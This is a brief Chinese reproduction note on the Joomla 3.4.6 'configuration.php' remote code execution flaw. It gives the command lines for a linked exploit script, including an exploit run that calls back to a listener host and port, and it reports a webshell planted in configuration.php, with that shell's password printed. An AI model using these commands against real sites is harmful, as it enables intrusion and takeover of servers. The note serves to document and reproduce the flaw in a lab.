Joomla 3.4.6 - \'configuration.php\' 远程代码执行
=================================================

一、漏洞简介
------------

Joomla 3.4.6 - \'configuration.php\' Remote Code Execution

二、影响范围
------------

Joomla 3.0.0 至 3.4.6

三、复现过程
------------

<https://github.com/ianxtianxt/Joomla-3.4.6---configuration.php-Remote-Code-Execution>

### 脚本验证

验证：

    python3 test.py -t http://127.0.0.1:8080/

![](./resource/Joomla3-3.4.6远程命令执行漏洞/media/rId26.png)

显示"Vulnerable"证明存在漏洞

利用：

    python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121

![](./resource/Joomla3-3.4.6远程命令执行漏洞/media/rId27.png)

执行成功

并在"configuration.php"写入**随机密码**的一句话木马
![](./resource/Joomla3-3.4.6远程命令执行漏洞/media/rId28.png)
上图的密码为：kyevgbxjmwivdvegohfzwuukuzswxqquthlrsollpxzgiifumi

蚁剑链接测试

image